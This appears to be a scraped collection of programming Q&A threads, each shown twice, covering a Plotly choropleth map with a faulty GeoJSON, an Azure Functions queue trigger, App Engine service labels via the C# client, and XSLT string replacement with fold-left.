I found the correct geojson file but now I have a different issue. Only one region is colored and not even in the correct color and the rest of the map even outside of my regions is colored in the same color. When I hover over my regions I can see that they are in the correct place but with a wrong color. And I also have no idea why the code colored the whole map and not only the regions from the geojson file. here is an image of the output

new (should be correct) geojson https://drive.google.com/file/d/1S03NX5Q0pqgAsbJnjqt8O5w8gUHH1rt_/view?usp=sharing

```<code>import json
import numpy as np
import pandas as pd
import plotly.express as px

df = pd.read_excel('kraje.xlsx', sheet_name='List1')

regions_json = json.load(open("KRAJE.geojson", "r"))
for feature in regions_json['features']:
    feature["id"] = feature["properties"]["K_KRAJ"]

fig = px.choropleth(df,
             locations="K_KRAJ",
             geojson=regions_json,
             color='OB1506')
fig.update_geos(fitbounds="locations", visible=False)
fig.show()
</code>```

SOLUTION

Thanks to Rob Raymond it finally works. There was an issue with the geojson file. I also had a ton of problems installing geopandas and the only tutorial that actually worked was installing each package separately (https://stackoverflow.com/a/69210111/17646343)

答:
there are multiple issues with your geojson

need to define the CRS,  it's clearly not epsg:4326.  Appears to be UTM CRS for Czech Republic

even with this there are invalid polygons

with valid geojson, a few points you have missed

locations needs to be common across your data frame and geojson

featureidkey needs to be used to define you are joining on name

```<code>import json
import numpy as np
import pandas as pd
import plotly.express as px
import geopandas as gpd

files = {
    f.suffix: f
    for p in ["KRAJE*.*", "KRAJE*.*".lower()]
    for f in Path.home().joinpath("Downloads").glob(p)
}
# df = pd.read_excel('kraje.xlsx', sheet_name='List1')
df = pd.read_excel(files[".xlsx"], sheet_name="List1")

# regions_json = json.load(open("KRAJE.geojson", "r"))
regions_json = json.load(open(files[".geojson"], "r"))
regions_json = (
    gpd.read_file(files[".geojson"])
    .dropna()
    .set_crs("EPSG:32633", allow_override=True)
    .to_crs("epsg:4326")
    .__geo_interface__
)

fig = px.choropleth(
    df,
    locations="N_KRAJ",
    featureidkey="properties.name",
    geojson=regions_json,
    color="OB1506",
)
fig.update_geos(fitbounds="locations", visible=True)
fig
</code>```

updated

there are still issues with your geojson. Have fixed it using geopandas and buffer(0) (see Fix invalid polygon in Shapely)

with this and change to plotly parameters I can now generate a figure

```<code>import json
import numpy as np
import pandas as pd
import plotly.express as px
import geopandas as gpd
from pathlib import Path

files = {
    f.suffix: f
    for p in ["KRAJ_*.*", "KRAJE*.*".lower()]
    for f in Path.home().joinpath("Downloads").glob(p)
}
# df = pd.read_excel('kraje.xlsx', sheet_name='List1')
df = pd.read_excel(files[".xlsx"], sheet_name="List1")

# regions_json = json.load(open("KRAJE.geojson", "r"))
regions_json = json.load(open(files[".json"], "r"))
# geometry is still invalid!!! force it to valid by buffer(0)
regions_json = gpd.read_file(files[".json"]).assign(geometry=lambda d: d["geometry"].buffer(0)).__geo_interface__

fig = px.choropleth(
    df,
    locations="K_KRAJ",
    featureidkey="properties.K_KRAJ",
    geojson=regions_json,
    color="OB1506",
)
fig.update_geos(fitbounds="locations", visible=True)
fig
</code>```

Body:
I am working on a choropleth map and it is showing a white page instead of the map as shown here
https://i.stack.imgur.com/boYKY.png

I have both the geojson and the excel file downloaded in the same folder.

geojson https://drive.google.com/file/d/1N-rp9yHqE1Rzn2VxoAAweJ8-5XIjk61j/view?usp=sharing
excel https://docs.google.com/spreadsheets/d/1NKeUg20XxJe0jccMgjj9pMxrTIIWeuQk/edit?usp=sharing&ouid=100050178655652050254&rtpof=true&sd=true

Here is my code

import json
import numpy as np
import pandas as pd
import plotly.express as px

df = pd.read_excel('kraje.xlsx', sheet_name='List1')

regions_json = json.load(open("KRAJE.geojson", "r"))

fig = px.choropleth(df,
             locations="K_KRAJ",
             geojson=regions_json,
             color='OB1506')
fig.show()

The console of my browser in which I am viewing the map shows
this

I am using a jupyter notebook in the brave browser.

Can anyone please help me solve this? Thanks

EDIT:

I found the correct geojson file but now I have a different issue. Only one region is colored and not even in the correct color and the rest of the map even outside of my regions is colored in the same color. When I hover over my regions I can see that they are in the correct place but with a wrong color. And I also have no idea why the code colored the whole map and not only the regions from the geojson file. here is an image of the output

new (should be correct) geojson https://drive.google.com/file/d/1S03NX5Q0pqgAsbJnjqt8O5w8gUHH1rt_/view?usp=sharing

import json
import numpy as np
import pandas as pd
import plotly.express as px

df = pd.read_excel('kraje.xlsx', sheet_name='List1')

regions_json = json.load(open("KRAJE.geojson", "r"))
for feature in regions_json['features']:
    feature["id"] = feature["properties"]["K_KRAJ"]

fig = px.choropleth(df,
             locations="K_KRAJ",
             geojson=regions_json,
             color='OB1506')
fig.update_geos(fitbounds="locations", visible=False)
fig.show()

SOLUTION

Thanks to Rob Raymond it finally works. There was an issue with the geojson file. I also had a ton of problems installing geopandas and the only tutorial that actually worked was installing each package separately (https://stackoverflow.com/a/69210111/17646343)

Body:
there are multiple issues with your geojson

need to define the CRS,  it's clearly not epsg:4326.  Appears to be UTM CRS for Czech Republic

even with this there are invalid polygons

with valid geojson, a few points you have missed

locations needs to be common across your data frame and geojson

featureidkey needs to be used to define you are joining on name

import json
import numpy as np
import pandas as pd
import plotly.express as px
import geopandas as gpd

files = {
    f.suffix: f
    for p in ["KRAJE*.*", "KRAJE*.*".lower()]
    for f in Path.home().joinpath("Downloads").glob(p)
}
# df = pd.read_excel('kraje.xlsx', sheet_name='List1')
df = pd.read_excel(files[".xlsx"], sheet_name="List1")

# regions_json = json.load(open("KRAJE.geojson", "r"))
regions_json = json.load(open(files[".geojson"], "r"))
regions_json = (
    gpd.read_file(files[".geojson"])
    .dropna()
    .set_crs("EPSG:32633", allow_override=True)
    .to_crs("epsg:4326")
    .__geo_interface__
)

fig = px.choropleth(
    df,
    locations="N_KRAJ",
    featureidkey="properties.name",
    geojson=regions_json,
    color="OB1506",
)
fig.update_geos(fitbounds="locations", visible=True)
fig

updated

there are still issues with your geojson. Have fixed it using geopandas and buffer(0) (see Fix invalid polygon in Shapely)

with this and change to plotly parameters I can now generate a figure

import json
import numpy as np
import pandas as pd
import plotly.express as px
import geopandas as gpd
from pathlib import Path

files = {
    f.suffix: f
    for p in ["KRAJ_*.*", "KRAJE*.*".lower()]
    for f in Path.home().joinpath("Downloads").glob(p)
}
# df = pd.read_excel('kraje.xlsx', sheet_name='List1')
df = pd.read_excel(files[".xlsx"], sheet_name="List1")

# regions_json = json.load(open("KRAJE.geojson", "r"))
regions_json = json.load(open(files[".json"], "r"))
# geometry is still invalid!!! force it to valid by buffer(0)
regions_json = gpd.read_file(files[".json"]).assign(geometry=lambda d: d["geometry"].buffer(0)).__geo_interface__

fig = px.choropleth(
    df,
    locations="K_KRAJ",
    featureidkey="properties.K_KRAJ",
    geojson=regions_json,
    color="OB1506",
)
fig.update_geos(fitbounds="locations", visible=True)
fig


问:
Azure queue trigger function created with serverless doesn't fire
Creating a queue trigger function using serverless creates the function, but when a new message is added to the queue it doesn't trigger. A queue trigger function created from the portal using the same configuration (queue name, connection string) gets triggered when a new message is added to the queue.

serverless.yml

```<code>...
functions:
  storageQueue:
    handler: src/handlers/goodbye.sayGoodbye
    events:
      - queue: example-queue
        name: myQueueItem
        connection: STORAGE_CONNECTION_STRING
</code>```

This is the json file generated for the queue trigger function from serverless.
function.json

```<code>{
  "disabled": false,
  "bindings": [
    {
      "type": "queueTrigger",
      "direction": "in",
      "name": "myQueueItem",
      "queueName": "example-queue",
      "connection": "STORAGE_CONNECTION_STRING"
    }
  ],
  "entryPoint": "sayGoodbye",
  "scriptFile": "../src/handlers/goodbye.js"
}
</code>```

This is the json file generated for the function if its created from the portal. function.json

```<code>{
  "bindings": [
    {
      "name": "myQueueItem",
      "queueName": "example-queue",
      "connection": "STORAGE_CONNECTION_STRING",
      "direction": "in",
      "type": "queueTrigger"
    }
  ]
}
</code>```

As you can see the bindings part is the same for both functions, but only the one created from the portal works.

答:
Here is the workaround I did to create an Azure Serverless Function of JavaScript Stack - Azure Queue Storage Trigger in Visual Studio Code and it is triggering successfully after adding a message to the created Queue.

And the code is:
function.json

```<code>{
"bindings": [
{
"name": "myQueueItem",
"type": "queueTrigger",
"direction": "in",
"queueName": "js-queue-items",
"connection": "storageaccountjbd99_STORAGE"
}
]
}
</code>```

host.json

```<code>{
"version": "2.0",
"logging": {
"applicationInsights": {
"samplingSettings": {
"isEnabled": true,
"excludedTypes": "Request"
}
}
},
"extensionBundle": {
"id": "Microsoft.Azure.Functions.ExtensionBundle",
"version": "[2.*, 3.0.0)"
}
}
</code>```

local.settings.json

```<code>{
"IsEncrypted": false,
"Values": {
"AzureWebJobsStorage": "Azure Connection Storage string",
"FUNCTIONS_WORKER_RUNTIME": "node",
"storageaccountjbd99_STORAGE": "Azure Connection Storage string"
}
}
</code>```

Here the AzureWebJobsStorage and storageaccountjbd99_STORAGE connection string values should be same if you're connecting to Azure Storage Account.

If the storage account is created in Azure, while creating the function it asks to select the Azure Storage account or use local storage account, here I selected the existing Azure Storage account so the connection value is the storage account name.

After that, I run the function and in Azure Storage Explorer, create the queue name called js-queue-items and added the message in the Queue.

After adding the message, the function triggered its functionality and shown the output as you see in below:

Body:
Creating a queue trigger function using serverless creates the function, but when a new message is added to the queue it doesn't trigger. A queue trigger function created from the portal using the same configuration (queue name, connection string) gets triggered when a new message is added to the queue.

serverless.yml

...
functions:
  storageQueue:
    handler: src/handlers/goodbye.sayGoodbye
    events:
      - queue: example-queue
        name: myQueueItem
        connection: STORAGE_CONNECTION_STRING

This is the json file generated for the queue trigger function from serverless.
function.json

{
  "disabled": false,
  "bindings": [
    {
      "type": "queueTrigger",
      "direction": "in",
      "name": "myQueueItem",
      "queueName": "example-queue",
      "connection": "STORAGE_CONNECTION_STRING"
    }
  ],
  "entryPoint": "sayGoodbye",
  "scriptFile": "../src/handlers/goodbye.js"
}

This is the json file generated for the function if its created from the portal. function.json

{
  "bindings": [
    {
      "name": "myQueueItem",
      "queueName": "example-queue",
      "connection": "STORAGE_CONNECTION_STRING",
      "direction": "in",
      "type": "queueTrigger"
    }
  ]
}

As you can see the bindings part is the same for both functions, but only the one created from the portal works.

Body:
Here is the workaround I did to create an Azure Serverless Function of JavaScript Stack - Azure Queue Storage Trigger in Visual Studio Code and it is triggering successfully after adding a message to the created Queue.

And the code is:
function.json

{
"bindings": [
{
"name": "myQueueItem",
"type": "queueTrigger",
"direction": "in",
"queueName": "js-queue-items",
"connection": "storageaccountjbd99_STORAGE"
}
]
}

host.json

{
"version": "2.0",
"logging": {
"applicationInsights": {
"samplingSettings": {
"isEnabled": true,
"excludedTypes": "Request"
}
}
},
"extensionBundle": {
"id": "Microsoft.Azure.Functions.ExtensionBundle",
"version": "[2.*, 3.0.0)"
}
}

local.settings.json

{
"IsEncrypted": false,
"Values": {
"AzureWebJobsStorage": "Azure Connection Storage string",
"FUNCTIONS_WORKER_RUNTIME": "node",
"storageaccountjbd99_STORAGE": "Azure Connection Storage string"
}
}

Here the AzureWebJobsStorage and storageaccountjbd99_STORAGE connection string values should be same if you're connecting to Azure Storage Account.

If the storage account is created in Azure, while creating the function it asks to select the Azure Storage account or use local storage account, here I selected the existing Azure Storage account so the connection value is the storage account name.

After that, I run the function and in Azure Storage Explorer, create the queue name called js-queue-items and added the message in the Queue.

After adding the message, the function triggered its functionality and shown the output as you see in below:


问:
Adding labels for GCP App Engine Services
Any suggestion to manage App Engine labels using gcloud command or atleast from the GCP console. I am trying to add a label for an already deployed application

Cannot see any option to update App Engine Service label parameters with gcloud command

```<code> $ gcloud app instances
 ERROR: (gcloud.app.instances) Command name argument expected.

 Available commands for gcloud app instances:

  delete                  Delete a specified instance.
  describe                Display all data about an existing instance.
  disable-debug           Disable debug mode for an instance.
  enable-debug            Enable debug mode for an instance (only works on
                          the flexible environment).
  list                    List the instances affiliated with the current App
                          Engine project.
  scp                     SCP from or to the VM of an App Engine Flexible
                          instance.
  ssh                     SSH into the VM of an App Engine Flexible
                          instance.
</code>```

Also any option to manage from terraform ? .

Cannot find any attributes to manage labels anything under

```<code> https://www.terraform.io/docs/providers/google/r/app_engine_standard_app_version.html
 https://www.terraform.io/docs/providers/google/r/app_engine_application.html
</code>```

答:
A little late to the party but we needed to do something similar but using the C# AppEngine client library (Google.Apis.Appengine.v1). This works for us using the latest version of the library, assuming you've already retrieved the AppEngine service object, and you know your target projectId and service name:</p>
```<code>var labels = new Dictionary<string,string>(); //Set your labels in here
service.Labels = labels;
var patchRequest = appEngineService.Apps.Services.Patch(service, project,
serviceId);
patchRequest.UpdateMask = "Labels";
return await patchRequest.ExecuteAsync();
</code>```

Body:
Any suggestion to manage App Engine labels using gcloud command or atleast from the GCP console. I am trying to add a label for an already deployed application

Cannot see any option to update App Engine Service label parameters with gcloud command

 $ gcloud app instances
 ERROR: (gcloud.app.instances) Command name argument expected.

 Available commands for gcloud app instances:

  delete                  Delete a specified instance.
  describe                Display all data about an existing instance.
  disable-debug           Disable debug mode for an instance.
  enable-debug            Enable debug mode for an instance (only works on
                          the flexible environment).
  list                    List the instances affiliated with the current App
                          Engine project.
  scp                     SCP from or to the VM of an App Engine Flexible
                          instance.
  ssh                     SSH into the VM of an App Engine Flexible
                          instance.

Also any option to manage from terraform ? .

Cannot find any attributes to manage labels anything under

 https://www.terraform.io/docs/providers/google/r/app_engine_standard_app_version.html
 https://www.terraform.io/docs/providers/google/r/app_engine_application.html

Body:
A little late to the party but we needed to do something similar but using the C# AppEngine client library (Google.Apis.Appengine.v1). This works for us using the latest version of the library, assuming you've already retrieved the AppEngine service object, and you know your target projectId and service name:

var labels = new Dictionary<string,string>(); //Set your labels in here
service.Labels = labels;
var patchRequest = appEngineService.Apps.Services.Patch(service, project,
serviceId);
patchRequest.UpdateMask = "Labels";
return await patchRequest.ExecuteAsync();


问:
Multiple string replacements
(updated question from 'static replace' to 'dynamic replace')

```<code><data>
  <replacements>
    <replace key="greeting" value='Hello' />
    <replace key="name" value='Donald' />
  </replacements>
  <rules>
    <rule key="GREETING" value="replacements/replace[@key='greeting']/@value" />
    <rule key="NAME" value="replacements/replace[@key='name']/@value" />
  </rules>
  <text>
    GREETING NAME duck.
  </text>
</data>
</code>```

I'd like to replace the text in the element text with every occurrence of a key in all the rules. The replacement text is the evaluation of the attribute value in that element.

Which approach should I take (using the newest Saxon HE)?

The result of the text should be “Hello Donald duck.”

Addition:

I think part of the problem can be solved with <xsl:evaluate>, but this is obviously not working yet (no string replacements):

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="3.0" >
  <xsl:output indent="yes"/>

  <xsl:template match="data">
    <xsl:copy>
    <xsl:evaluate xpath="/data/rules/rule[1]/@value" context-item="." />
    </xsl:copy>
  </xsl:template>

</xsl:stylesheet>
```

The result is <data value="Hello"/>. What I see is the dynamic evaluation of the xpath expression, and from there it should be possible to do the string replacement.

Now my step would be to add my approach to Martin's answer, but this would be mixing XSLT in XPath, which does not work that way I want.

答:
I don't know what you are trying with xsl:evaluate, consider to show your code if you mention it, but it seems fold-left calling replace suffices:

```<code>  <xsl:template match="text" expand-text="yes">
    <xsl:copy>{fold-left(../rules/rule, ., function($a, $r) { replace($a, $r/@key, $r/@value) })}</xsl:copy>
  </xsl:template>

  <xsl:template match="data/rules"/>
</code>```

With the more complicated structure of your "replacement rules and data" you could use

```<code>  <xsl:function name="mf:evaluate-value">
    <xsl:param name="rule" as="element(rule)"/>
    <xsl:evaluate context-item="$rule/../.." xpath="$rule/@value"/>
  </xsl:function>

  <xsl:template match="text" expand-text="yes">
      <xsl:copy>{fold-left(../rules/rule, ., function($a, $r) { replace($a, $r/@key, mf:evaluate-value($r)) })}</xsl:copy>
  </xsl:template>

  <xsl:template match="data/rules | data/replacements"/>
</code>```

For the use function you need to declare a namespace in the stylesheet e.g. xmlns:mf="http://example.com/mf".

Title: Multiple string replacements

Body:
(updated question from 'static replace' to 'dynamic replace')

<data>
  <replacements>
    <replace key="greeting" value='Hello' />
    <replace key="name" value='Donald' />
  </replacements>
  <rules>
    <rule key="GREETING" value="replacements/replace[@key='greeting']/@value" />
    <rule key="NAME" value="replacements/replace[@key='name']/@value" />
  </rules>
  <text>
    GREETING NAME duck.
  </text>
</data>

I'd like to replace the text in the element text with every occurrence of a key in all the rules. The replacement text is the evaluation of the attribute value in that element.

Which approach should I take (using the newest Saxon HE)?

The result of the text should be “Hello Donald duck.”

Addition:

I think part of the problem can be solved with <xsl:evaluate>, but this is obviously not working yet (no string replacements):

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="3.0" >
  <xsl:output indent="yes"/>

  <xsl:template match="data">
    <xsl:copy>
    <xsl:evaluate xpath="/data/rules/rule[1]/@value" context-item="." />
    </xsl:copy>
  </xsl:template>

</xsl:stylesheet>

The result is <data value="Hello"/>. What I see is the dynamic evaluation of the xpath expression, and from there it should be possible to do the string replacement.

Now my step would be to add my approach to Martin's answer, but this would be mixing XSLT in XPath, which does not work that way I want.

Body:
I don't know what you are trying with xsl:evaluate, consider to show your code if you mention it, but it seems fold-left calling replace suffices:

  <xsl:template match="text" expand-text="yes">
    <xsl:copy>{fold-left(../rules/rule, ., function($a, $r) { replace($a, $r/@key, $r/@value) })}</xsl:copy>
  </xsl:template>

  <xsl:template match="data/rules"/>

With the more complicated structure of your "replacement rules and data" you could use

  <xsl:function name="mf:evaluate-value">
    <xsl:param name="rule" as="element(rule)"/>
    <xsl:evaluate context-item="$rule/../.." xpath="$rule/@value"/>
  </xsl:function>

  <xsl:template match="text" expand-text="yes">
      <xsl:copy>{fold-left(../rules/rule, ., function($a, $r) { replace($a, $r/@key, mf:evaluate-value($r)) })}</xsl:copy>
  </xsl:template>

  <xsl:template match="data/rules | data/replacements"/>

For the use function you need to declare a namespace in the stylesheet e.g. xmlns:mf="http://example.com/mf".